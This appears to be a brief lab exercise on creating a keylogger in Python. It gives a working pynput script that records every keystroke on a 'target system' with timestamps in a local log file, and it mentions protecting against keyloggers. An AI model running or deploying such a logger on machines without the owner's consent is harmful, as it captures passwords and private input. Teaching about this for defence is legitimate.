**Creating a Keylogger with Python**

Write a Python script that captures and logs keystrokes from a target system.

Execute the keylogger script and observe the logged keystrokes.

Understand the potential security risks associated with keyloggers and the importance of protecting against them.

CODE-

from pynput.keyboard import Key, Listener

import logging

# if no name it gets into an empty string

log\_dir = ""

# This is a basic logging function

logging.basicConfig(filename=(log\_dir+"key\_log.txt"), level=logging.DEBUG,

format='%(asctime)s:%(message)s:')

# This is from the library

def on\_press(key):

logging.info(str(key))

# This says, listener is on

with Listener(on\_press=on\_press) as listener:

listener.join()

OUTPUT

